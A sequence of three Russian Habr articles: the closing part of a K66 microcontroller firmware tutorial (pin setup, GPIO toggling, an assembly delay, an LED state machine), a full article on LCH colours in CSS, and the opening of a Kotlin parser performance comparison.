{ PTE_BASE_PTR, PORTE_BASE_PTR, 24, 0, 0, ALT3, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // Debug port 45 # PTE24 # Default=(ADC0_SE17) ALT0=(ADC0_SE17) ALT1=(PTE24) ALT2=(CAN1_TX) ALT3=(UART4_TX) ALT4=() ALT5=(I2C0_SCL) ALT6=(EWM_OUT_b) ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 25, 0, 0, ALT3, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // Debug port 46 # PTE25/LLWU_P21 # Default=(ADC0_SE18) ALT0=(ADC0_SE18) ALT1=(PTE25/LLWU_P21) ALT2=(CAN1_RX) ALT3=(UART4_RX) ALT4=() ALT5=(I2C0_SDA) ALT6=(EWM_IN) ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 26, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_INP, 0 }, // 47 # PTE26 # Default=(DISABLED) ALT0=() ALT1=(PTE26) ALT2=(ENET_1588_CLKIN) ALT3=(UART4_CTS_b) ALT4=() ALT5=() ALT6=(RTC_CLKOUT) ALT7=(USB0_CLKIN) EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 27, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_OUT, 1 }, // 48 # PTE27 # Default=(DISABLED) ALT0=() ALT1=(PTE27) ALT2=() ALT3=(UART4_RTS_b) ALT4=() ALT5=() ALT6=() ALT7=() EZPort=()
{ PTE_BASE_PTR, PORTE_BASE_PTR, 28, 0, 0, GPIO, DSE_HI, FAST_SLEW, OD_DIS, PFE_DIS, PUPD_DIS, GP_OUT, 0 }, // 49 # PTE28 # Default=(DISABLED) ALT0=() ALT1=(PTE28) ALT2=() ALT3=() ALT4=() ALT5=() ALT6=() ALT7=() EZPort=()
};
/*------------------------------------------------------------------------------
------------------------------------------------------------------------------*/
void Config_pin(const T_IO_pins_configuration pinc)
{
pinc.port->PCR[pinc.pin_num] = LSHIFT(pinc.irqc, 16) |
LSHIFT(pinc.lock, 15) |
LSHIFT(pinc.mux, 8) |
LSHIFT(pinc.DSE, 6) |
LSHIFT(pinc.ODE, 5) |
LSHIFT(pinc.PFE, 4) |
LSHIFT(pinc.SRE, 2) |
LSHIFT(pinc.PUPD, 0);
if ( pinc.init == 0 ) pinc.gpio->PCOR = LSHIFT(1, pinc.pin_num);
else pinc.gpio->PSOR = LSHIFT(1, pinc.pin_num);
pinc.gpio->PDDR = (pinc.gpio->PDDR & ~LSHIFT(1, pinc.pin_num)) | LSHIFT(pinc.dir, pinc.pin_num);
}
/*------------------------------------------------------------------------------
------------------------------------------------------------------------------*/
int Init_pins(void)
{
int i;
// Включаем тактирование на всех портах
SIM_SCGC5 |= SIM_SCGC5_PORTA_MASK | SIM_SCGC5_PORTB_MASK | SIM_SCGC5_PORTC_MASK | SIM_SCGC5_PORTD_MASK | SIM_SCGC5_PORTE_MASK;
for (i = 0; i < (sizeof(K66BLEZ1_pins_conf) / sizeof(K66BLEZ1_pins_conf[0])); i++)
{
Config_pin(K66BLEZ1_pins_conf[i]);
}
return 0;
}
```
Этого текста полностью хватает чтобы правильно настроить все выводы включая правильные номера всех альтернативных функций. Нет необходимости обращения к справочному руководству или описанию каких-либо API. Комментарии содержат много информации, но она корректная поскольку сгенерирована автоматически из мануала на чип.
Наконец в файле [***main.c***](https://github.com/Indemsys/K66BLEZ1/blob/master/Firmware_examples/BareBoard/SimplestApp/main.c) содержится основное приложение.
Переключение светодиода всего одной строчкой — ***GPIOA*\_PTOR = BIT(1);**
Макрос ***GPIOA*\_PTOR** объявлен в файле [***MK65F18.h***](https://github.com/Indemsys/K66BLEZ1/blob/master/Firmware_examples/BareBoard/SimplestApp/MK65F18.h) и представляет собой просто ссылку на адрес регистра ***PTOR* (Port Toggle Output Register)** порта ***A***. При записи единицы в определённый бит этого регистра на соответствующей линии порта A происходит переключение логического состояния ***(стр. 2191. Справочное руководство: K66P144M180SF5RMV2).***
А макрос ***BIT*(x)** определён мной в файле ***main*.h** и означает всего лишь ***(*1u << x),** т.е. установленный в заданной позиции бит.
[
*(Кликнуть для увеличения)*](https://habrastorage.org/getpro/geektimes/post_images/3f6/2d0/bf1/3f62d0bf1e1186d5a34c86ebb299d219.png)
Важно заметить, в проекте **только** четыре файла с исполняемым кодом. Никаких библиотек CMSIS, никаких драйверов SDK и уровня HAL. Компиляция занимает доли секунды.
**Это проще чем Arduino!**
Вторая строчка: ***DELAY*\_ms(20);** обеспечивает прецизионную программную задержку в 20 мс. Это макрос передающий пересчитанный аргумент в функцию на ассемблере вставленную мной в файл [***startup\_MK66F18.s***](https://github.com/Indemsys/K66BLEZ1/blob/master/Firmware_examples/BareBoard/SimplestApp/startup_MK66F18.s). Вот её вид:
```
; Для Cortex-M4
; (R0+1)*7
Delay_m7
SUBS r0,r0,#1 ; 1
NOP ; 1
NOP ; 1
NOP ; 1
CMP r0,#0x00 ; 1
BGT Delay_m7 ; 2/1
NOP ; 1
NOP ; 1
NOP ; 1
NOP ; 1
BX lr ; 2
```
Функция выполняется количество тактов расчитываемое по формуле ***(*R0+1)\*7,** где R0 — содержимое регистра R0.
Очень полезная функция как для организации точных произвольных задержек, так и для контроля быстродействия ядра и настройки тактирования с помощью дополнительных инструментов.
Загружаем приложение.
---------------------
Среда IAR имеет готовые загрузчики Flash памяти для всех чипов, которые она поддерживает. Поэтому нам остаётся только подключить **JTAG/SWD** адаптер к модулю. **IAR** поддерживает много адаптеров. В их числе есть класс очень дешёвых адаптеров с прошивкой **CMSIS DAP** (встроен во все отладочные платы с Kinetis от NXP), можно работать через **ST-Link** как показано на фотографии в заголовке (вариант с гальвано изоляцией, к сожалению, с модулем не совместим). Я чаще использую **J-Link**, поскольку в нем присутствует виртуальный COM порт, есть поддержка [Real Time Terminal (RTT)](https://habrahabr.ru/post/259205/), поддерживается неограниченное количество точек останова и ещё ряд полезных функций.
Тестирование времени активации программы после включения питания
================================================================
Вопрос времени активации программы не праздный. Это время определяет количество энергии затрачиваемой чипом впустую на ожидание готовности и минимальный интервал времени потери контроля при непреднамеренных сбоях.
Осциллограмма, показанная ниже даёт ответ на вопрос насколько быстро после подачи питания может начать выполняться программа на микроконтроллере. Начало нарастание напряжения питания 3.3В соответствует моменту подключения кабеля USB к плате.
Как видно первые инструкции программа начинает выполнять спустя приблизительно 1.5 мс от момента подачи напряжения 5В с USB интерфейса. А на полной скорости программа начинает выполняться спустя 3 мс.
[
*(Кликнуть для увеличения)*](https://habrastorage.org/getpro/geektimes/post_images/8c2/230/c45/8c2230c4578a62d2309a8262a915128c.png)
С какой скоростью мы можем переключать логические состояния на выводах микроконтроллера?
========================================================================================
Здесь есть нюанс. Он заключается в том, что программа, выполняющаяся из **Flash** памяти, не обладает детерминизмом.
Заменим нашу первую программу на следующий код:
**Нажать сюда для просмотра**
```
int main()
{
for (;;)
{
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
}
}
```
Это 128 команд переключения состояния светодиода.
Но осциллограмма этих переключений будет выглядеть так:
[
*(Кликнуть для увеличения)*](https://habrastorage.org/getpro/geektimes/post_images/211/503/4fa/2115034fa3f8c19020451526e731e21b.png)
Странные паузы между пачками монотонных переключений — это задержки при считывании блоков кода из Flash. Flash память работает на частоте гораздо более низкой чем частота ядра, и в чипе применено некое подобие кэширования блоков по 128 байт, это соответствует 32-м командам ядра ARM. В результате монотонная пачка переключений не может быть длиннее 32-х команд, а потом возникает пауза. Стоит также отметить влияние выравнивания команд во Flash памяти если наш фрагмент не превышает 32-х команд, от этого зависит появится ли в нашем фрагменте пауза на кэширование или нет.
Ситуацию можно исправить если поместить код в RAM. Для этого надо вызов функции написать следующим образом:
```
__ramfunc int main()
{
for (;;)
{
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
GPIOA_PTOR = BIT(1);
.
.
.
}
}
```
Тогда осциллограмма будет выглядеть так:
[
*(Кликнуть для увеличения)*](https://habrastorage.org/getpro/geektimes/post_images/605/ae3/f46/605ae3f46f54ab968321f0a5f6bf8e0b.png)
А частота переключений будет такая:
[
*(Кликнуть для увеличения)*](https://habrastorage.org/getpro/geektimes/post_images/807/ef6/7f5/807ef67f51c8f353d3a752c2b0ac3972.png)
Т.е. получаем частоту в 90 МГц на светодиоде. Это означает, что команды вывода в порт выполняются с частотой ядра.
Пример управления светодиодом по прерываниям на основе автомата состояний.
==========================================================================
Проект находится [здесь](https://github.com/Indemsys/K66BLEZ1/tree/master/Firmware_examples/BareBoard/LED_StateMachine).
В данном проекте показано как инициализировать системный таймер ядра ARM (он используется для вызова периодических прерываний), как очень просто можно инициализировать UART и выводить через него текст в терминал компьютера и как задавать диаграмму сигналов светодиода простым массивом.
Традиционный стиль реализации мигания светодиодом мог бы выглядеть так в нашей программе:
```
for(;;)
{
GPIOA_PSOR = BIT(1); // Включить светодиод
DELAY_ms(500); // Задержка на 0.5 сек
GPIOA_PСOR = BIT(1); // Выключить светодиод
DELAY_ms(500); // Задержка на 0.5 сек
}
```
Сложность здесь в том, что трудно вставить ещё какую-нибудь функциональность, не нарушив задержки в состояниях светодиода и его равномерное мигание. Если бы у нас была операционная система реального времени (RTOS), то такой сложности бы не возникло. Мы бы просто поместили эту процедуру в отдельную задачу.
Но за отсутствием RTOS приходится использовать автоматы состояний.
[
*(Кликнуть для увеличения)*](https://habrastorage.org/getpro/geektimes/post_images/3c8/440/157/3c844015732ea51c4d7ad6fc02dc6841.png)
*Для работы с этим примером нужна программ эмулятор терминала на PC с поддержкой управляющих символов по спецификации VT100. Такой программой может быть, например, TeraTerm.*
Автомат состояний светодиода — это функция **LEDS**\_state\_automat вызываемая из процедуры обслуживания прерывания системного таймера. Она находится в файле [LED\_StateMachine.c](https://github.com/Indemsys/K66BLEZ1/blob/master/Firmware_examples/BareBoard/LED_StateMachine/LED_StateMachine.c). Чтобы задать тот или иной стиль мигания светодиода вызывается функция **Set**\_LED\_pattern находящаяся в том же файле. В качестве аргумента передаём массив с состояниями и длительностями состояний светодиода, например, такого вида:
```
const int32_t LED_2_BLINK[] =
{
LED__ON, 5,
LED_OFF, 5,
LED__ON, 5,
LED_OFF, 35,
0, 0
}; -
```
Первое число в массиве это состояние (0 или 1 в нашем случае, но представленные макросами, чтобы в случае необходимости перейти на более разрядные числа для регулируемых светодиодов). Второе число — это длительность состояния в количестве циклов. Цикл — это период между прерываниями системного таймера.
Таким образом получаем управление светодиодом из прерываний с удобным способом кодирования стиля миганий и без влияния на основной цикл приложения.
**Здесь хранятся все материалы, связанные с этим проектом** — <https://github.com/Indemsys/K66BLEZ1> | https://habr.com/ru/post/394407/ | null | ru | null |
# LCH-цвета в CSS
Меня всегда интересовала наука о цвете. В 2014 году я [выступала](https://www.youtube.com/results?search_query=the+chroma+zone+lea+verou&page=&utm_source=opensearch) на разных конференциях, рассказывая о спецификации CSS Color 4. А до этого, в 2009 году, я написала программу для выбора цвета. Она использовала скрытый Java-апплет для поддержки цветовых профилей ICC и для правильной работы со CMYK. Это была, насколько я знаю, первая программа такого рода. Я никогда её не выпускала, но она привела к появлению [этой](http://lea.verou.me/2009/03/100-cyan-in-cmyk-is-not-rgb0255255/) публикации. Интерес к цвету свёл меня с человеком, который стал моим мужем.
[](https://habr.com/ru/company/ruvds/blog/496966/)
В 2019 году я стала соредактором спецификации [CSS Color 5](http://drafts.csswg.org/css-color-5). Моя цель заключается в конкретизации моего [предложения](https://drafts.csswg.org/css-color-5/#relative-colors) по модификации цветов, которое нацелено на то, чтобы позволить дизайнерам произвольно настраивать цветовые каналы для создания вариантов цветов. Я, кроме того, хочу скомбинировать моё предложение с [этим](https://drafts.csswg.org/css-color-5/#coloradjust) предложением. LCH-цвета в CSS — это кое-что такое, что меня прямо-таки восхищает. Я глубоко убеждена в том, что дизайнеры, когда больше узнают об LCH-цветах, будут возмущены тем, что у них до сих пор нет возможности пользоваться такими цветами.
Что такое LCH?
--------------
В модуле CSS Color 4 есть, кроме прочего, определение [LCH-цветов](https://www.w3.org/TR/css-color-4/#specifying-lab-lch). Сегодня все основные браузеры либо уже приступили к реализации их поддержки, либо серьёзно рассматривают такую возможность:
* В [Safari](https://bugs.webkit.org/show_bug.cgi?id=205675) поддержка LCH уже реализуется.
* Ожидается появление этой возможности в [Chrome](https://bugs.chromium.org/p/chromium/issues/detail?id=1026287).
* Обсуждается возможность реализации этой возможности в [Firefox](https://disq.us/url?url=https%3A%2F%2Fbugzilla.mozilla.org%2Fshow_bug.cgi%3Fid%3D1352757%3A84eOqodV1mI06bblGa5hbmSrxG8&cuid=595832).
LCH — это цветовое пространство, обладающее некоторыми преимуществами в сравнении с цветовыми пространствами RGB/HSL, с которыми все привыкли работать в CSS. На самом деле, я пошла бы ещё дальше и назвала бы LCH технологией, которая способна серьёзно изменить работу с цветами в вебе. Вот три факта, которые позволяют мне делать подобные заявления.
### ▍1. LCH, в сравнении с sRGB, даёт доступ к примерно на 50% большему количеству цветов
Это — огромный шаг вперёд. Сейчас любой CSS-цвет, который мы можем задать, [определяется](https://www.w3.org/TR/css-color-3/#rgb-color) в цветовом пространстве [sRGB](https://en.wikipedia.org/wiki/SRGB). Ещё несколько лет назад этого было более чем достаточно, так как все мониторы, кроме профессиональных, имели цветовой охват, меньший, чем sRGB. Однако теперь всё уже не так. Сегодня цветовой охват (то есть — диапазон цветов, который можно вывести) большинства мониторов близок к [P3](https://en.wikipedia.org/wiki/DCI-P3). А объём этого цветового пространства [на 50% больше](https://twitter.com/svgeesus/status/1220029106248716288), чем объём пространства sRGB. В настоящее время в CSS совершенно нет доступа к этим цветам. Позвольте мне это повторить: у нас нет доступа к трети цветов, которые могут выводить современные мониторы. И речь идёт не о каких-то незначительных цветах. Речь идёт о самых ярких цветах, которые могут выводить мониторы. Наши сайты выглядят бледно из-за того, что аппаратное обеспечение мониторов эволюционирует быстрее, чем спецификации CSS и реализации браузеров.
*Объём цветовых пространств sRGB и P3*
### ▍2. LCH (и Lab) являются цветовыми пространствами, однородными для восприятия
При работе с LCH одно и то же числовое изменение координат в цветовом пространстве даёт одну и ту же воспринимаемую разницу между цветами. Такое свойство цветового пространства называют «однородностью восприятия» («perceptual uniformity»). Цветовые пространства RGB или HSL не являются однородными для восприятия. Вот весьма показательный [пример](https://dabblet.com/gist/48ce387697106b845127d5cef5247a19) этой их особенности ([вот](https://www.boronine.com/2012/03/26/Color-Spaces-for-Human-Beings/?fbclid=IwAR0ztieCugTlncQH6FB7fqtr1NKaQjuAgwc5YzA75NPbLwH3Z5w1FBsdQQw) — источник этого примера).
*Неоднородность восприятия HSL-цветов*
Цвета в верхнем и в нижнем рядах различаются по тону на 20 градусов. Как вы думаете, одинакова ли воспринимаемая разница между этими цветами?
### ▍3. Светлота в LCH — это показатель, который что-то значит
В цветовом пространстве HSL светлота — бессмысленный показатель. Цвета могут иметь одинаковую светлоту, но очень различаться по их воспринимаемой яркости. Мой любимый пример — сравнение жёлтого и синего цвета. Можете мне не верить, но у цветов, показанных ниже, одна и та же HSL-светлота.
*HSL-цвета, имеющие одинаковую светлоту*
Оба цвета имеют светлоту 50%, но они, совершенно определённо, вовсе не обладают одинаковой воспринимаемой яркостью. Каков же смысл понятия «светлота» в HSL?
Тут вы можете вступить со мной в спор, сказав, что светлота, как минимум, имеет некий смысл при неизменных цветовом тоне (оттенке) и насыщенности цвета. То есть — при изменении светлоты в пределах одного и того же цвета. И правда: увеличивая HSL-светлоту мы получим более светлый цвет, а уменьшая — более тёмный. Но то, что получится в результате, не обязательно будет одним и тем же цветом.
*Настройка светлоты при неизменных цветовом тоне и насыщенности цвета*
Оба эти цвета имеют один и тот же оттенок и одну и ту же насыщенность, но выглядят ли они как более тёмный и более светлый вариант одного и того же цвета?
При использовании цветовой модели LCH цвета, имеющие одинаковую светлоту, воспринимаются как цвета, имеющие одну и ту же яркость, и цвета с одной и той же цветностью воспринимаются как цвета одной насыщенности.
Как устроены LCH-цвета?
-----------------------
LCH — это сокращение для Lightness, Chroma, Hue (светлота, цветность, тон). Компоненты цвета в этой цветовой модели имеют некоторую связь с компонентами цветовой модели HSL. Но между компонентами этих цветовых моделей имеются серьёзные различия.
Углы тона в LCH не вполне соответствуют тонам HSL. То есть — 0 — это не совсем красный. Этот цвет, скорее, ближе к пурпурному. А 180 — это не бирюзовый цвет, он скорее иссиня-зеленоватый, и он полностью комплементарен.
*Цвета с одинаковой воспринимаемой яркостью*
Обратите внимание на то, что эти цвета, хотя и сильно отличающиеся по тону, выглядят как цвета, имеющие одинаковую воспринимаемую яркость.
В цветовом пространстве HSL насыщенность представлена аккуратным диапазоном значений 0-100. Дело в том, что это пространство представляет собой результат простой трансформации RGB в полярные координаты. В LCH, однако, значение компонента цветности, теоретически, является неограниченным. Стандарт LCH (как и Lab), создан так, чтобы иметь возможность представлять полный спектр цветов, воспринимаемых человеком. Не все эти цвета могут быть выведены на мониторе, даже на таком, который поддерживает цветовое пространство P3. Причём, речь идёт не только о максимальном количестве выводимых цветов, зависящих от цветового охвата монитора, но и о разнице в цветах.
Возможно, эту идею будет легче понять, если я проиллюстрирую её примером. Ради простоты давайте представим, что у нас есть монитор, цветовой охват которого в точности соответствует цветовому пространству sRGB. Для сравнения — экран MacBook Air 2013 года мог выводить примерно 60% sRGB, а вот большинство современных дисплеев способно выводить, как уже было сказано, 150% sRGB. Для значений L=50 и H=180 (образец Cyan на вышеприведённом рисунке) максимальным значением С является всего лишь 35! Для L=50 и H=0 (Pink) значение C может достигать 77, не выходя за пределы sRGB. Для L=50 и H=320 (Purple) значение C может доходить до 108!
Хотя отсутствие границ может восприниматься как нечто пугающее (идёт ли речь о людях, или о цветовых пространствах), беспокоиться тут не о чем: если задан цвет, который не может быть отображён на некоем мониторе, он будет приведён к близкому цвету, поддерживаемому монитором. В конце концов, тут нет ничего нового: до тех пор, пока мониторы не обзавелись цветовым охватом, превышающим возможности sRGB, именно это и происходило с обычными CSS-цветами, выводимыми на мониторах, цветовой охват которых был меньше sRGB.
Средство для подбора LCH-цветов
-------------------------------
Надеюсь, теперь вы тоже немного заинтересовались идеей использования LCH-цветов. Тут возникает вопрос о том, как визуализировать эти цвета.
Я, на самом деле, уже довольно давно создала соответствующий инструмент, LCH Colour Picker, предназначенный, преимущественно, для того, чтобы помочь мне и моим коллегам как следует вникнуть в особенности LCH при редактировании [CSS Color 5](https://drafts.csswg.org/css-color-5/). Одно — знать теорию, и совсем другое — иметь возможность поэкспериментировать со слайдерами и своими глазами увидеть результат. Я даже купила домен, [css.land](https://css.land/), для размещения там соответствующих примеров. Мы немного попользовались этим инструментом, я добавляла в него новые возможности, но я никогда о нём не писала. Поэтому данный инструмент был доступен только нам, и тем, кто обратил внимание на [этот](https://github.com/LeaVerou/css.land/) GitHub-репозиторий.
*Средство для подбора LCH-цветов*
Если вам интересно поэкспериментировать с LCH-цветами — вы вполне можете воспользоваться этим инструментом. Вот некоторые сведения о нём:
* Код преобразования цветов написан одним из членов нашей команды. Мы уверены в том, что вычисления, как минимум, делались на основе правильного понимания процесса преобразования (то есть, если что-то пойдёт не так — это ошибка в коде, а не результат неправильного понимания чего-либо).
* Компонент цвета Chroma поддерживает изменение в диапазоне, отличном от 0 — 100, что отличает наш инструмент от некоторых других, которые нам удалось найти.
* Пользователи могут загружать в него произвольные CSS-цвета (с помощью кнопки Import).
* Ползунки позволяют вводить только целые значения, но в чёрных полях, появляющихся выше ползунков, можно вводить любые числа.
* В ходе работы можно сохранять цвета и видеть то, как они интерполируются.
* Поддерживается анализ цвета на предмет принадлежности его к цветовому пространству sRGB, P3, (или к Rec.2020, даже более обширному цветовому пространству).
* Поддерживается настройка прозрачности.
* И, наконец, пользоваться этим инструментом просто интересно! Особенно учитывая то, что он реализован на базе Mavo (правда, тут используется и немного JavaScript, то есть это — не Mavo-проект, созданный на чистом HTML).
Собственно говоря — опробовать LCH Colour Picker можно [здесь](https://css.land/lch/).
Вопросы и ответы
----------------
После того, как я опубликовала эту статью, мне начали задавать вопросы. Полагаю, что мне стоит прояснить тут некоторые распространённые заблуждения.
### ▍Вы говорите, что поддержка LCH-цветов в браузерах пока не реализована, но я могу видеть их в статье. Как такое возможно?
Все цвета, используемые в этой статье, находятся в пределах цветового охвата sRGB. Это так из-за того, что мы пока просто не можем выводить цвета, находящиеся за пределами sRGB. sRGB — это цветовое пространство, а не синтаксис описания цветов. Например, `rgb(255 0 0)` и `lch(54.292% 106.839 40.853)` задают один и тот же цвет.
### ▍Как LCH Colour Picker выводит цвета, находящиеся за пределами sRGB?
Моя программа, LCH Colour Picker, такие цвета не выводит. И, насколько я знаю, нигде в интернете нет программы, которая может выводить такие цвета. Проект LCH Colour Picker реализован с использованием веб-технологий, а значит, к нему применяются стандартные ограничения, применяемые к любым другим веб-страницам. Я преобразую невыводимые цвета в sRGB. Сначала я просто приводила RGB-компоненты цвета к диапазону 0-100%, но, благодаря этому [PR](https://github.com/LeaVerou/css.land/pull/3), теперь в программе используется гораздо более удачный алгоритм. А именно, речь идёт об уменьшении значения LCH-компонента C до тех пор, пока цвет не попадёт в пределы sRGB. Именно поэтому увеличение значения компонента C выше определённого предела не приводит к выводу более яркого цвета. Дело в том, что такой цвет пока просто нельзя вывести средствами CSS.
### ▍Я заметил, что Firefox выводит более яркие цвета, чем Chrome и Safari. Есть ли тут какая-то связь с поддержкой LCH?
Firefox не реализовал ту часть спецификации, которая ограничивает CSS-цвета рамками sRGB. Вместо этого браузер просто передаёт экрану необработанные RGB-значения. Например, `rgb(100% 0% 0%)` — это самый яркий красный цвет, который может вывести монитор. Хотя это и может показаться шикарным решением, тут мы сталкиваемся с противоречиями. Дело в том, что при таком подходе задавать цвета можно, в лучшем случае, лишь приблизительно, так как все экраны выводят цвета по-разному. Ограничивая CSS-цвета известным цветовым пространством (sRGB), мы получаем независимость от устройств. Цветовые пространства LCH и Lab тоже независимы от устройств, так как они основаны на реально измеренном цвете.
### ▍Что вы можете сказать о конструкции color(display-p3 r g b)? Safari поддерживает её с 2017 года!
Мне об этом сообщили после того, как я опубликовала эту статью. Я уже давно знала о том, что в Safari занимаются работой над этой возможностью, но как-то пропустила момент, когда она была готова. На самом деле, в прошлом месяце была опубликована [эта](https://webkit.org/blog/10042/wide-gamut-color-in-css-with-display-p3/) статья с описанием данного синтаксиса в WebKit. Удивительно!
Конструкция `color(colorspaceid params)` — это возможность, описанная в [CSS Color 4](https://www.w3.org/TR/css-color-4/#color-function). Её, в деле управления цветом в CSS, можно сравнить со швейцарским ножом. Самое замечательное в этой конструкции то, что она позволяет указывать цветовой профиль ICC и цвета, взятые из него. Например, это может пригодиться в том случае, если на веб-странице нужно использовать настоящие CMYK-цвета, или цвета Pantone. Эта конструкция, кроме того, поддерживает некоторые предопределённые цветовые пространства, одним из которых является display-p3. Например — `color(display-p3 0 1 0)` даёт нам самый светлый зелёный цвет в цветовом пространстве P3. Для проверки поддержки этой конструкции можно воспользоваться [данным](https://dabblet.com/gist/f491f94dba0af1dfccffa24c46e770e5) тестом. При отсутствии поддержки `color()` будет показан красный цвет, а при наличии — светлый зелёный цвет.
Хотя это и восхитительная возможность (и мне надо переделать мой LCH Colour Picker так, чтобы программа использовала бы `color()` в том случае, если эта возможность поддерживается), обратите внимание на то, что она решает лишь первую из означенных мною проблем. А именно, речь идёт о доступе ко всем цветам из цветового охвата. Но, так как средство `color()` основано на RGB, оно страдает от всех недостатков, сопутствующих RGB. Оно не отличается однородностью восприятия, с его помощью, настраивая параметры цветов, сложно создавать варианты цветов (более светлые или более тёмные варианты, более или менее яркие, и так далее).
Более того, отмечу то, что это — временное решение. Сейчас оно применимо из-за того, что экраны, которые могут выводить цвета, не укладывающиеся в P3, встречаются редко. Но после очередного усовершенствования дисплеев окажется, что конструкция `color(display-p3 ...)` будет иметь те же проблемы, которые сейчас имеются у RGB-цветов.
Цветовые пространства LCH и Lab независимы от устройств, они могут представлять все цвета, видимые человеком, в результате они будут оставаться актуальными независимо от эволюции аппаратного обеспечения.
**Уважаемые читатели!** Заинтересованы ли вы в использовании LCH-цветов в CSS?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/496966/ | null | ru | null |
# Компилируем Kotlin: JetBrains VS ANTLR VS JavaCC
Насколько быстро парсится Kotlin и какое это имеет значение? JavaCC или ANTLR? Годятся ли исходники от JetBrains?
Сравниваем, фантазируем и удивляемся.
tl;dr
=====
*JetBrains слишком тяжело таскать за собой, ANTLR хайповый, но неожиданно медленный, а JavaCC ещё рано списывать.*
Парсинг простого Kotlin файла тремя разными реализациями:
`| Имплементация | Первый запуск | 1000й запуск | размер джара (парсера) |
| --- | --- | --- | --- |
| JetBrains | 3254мс | 16,6мс | 35.3МБ |
| JetBrains (w/o analyzer) | 1423мс | 0,9мс | 35.3МБ |
| ANTLR | 3705мс | 137,2мс | 1.4МБ |
| JavaCC | 19мс | 0,1мс | 0.8МБ |`
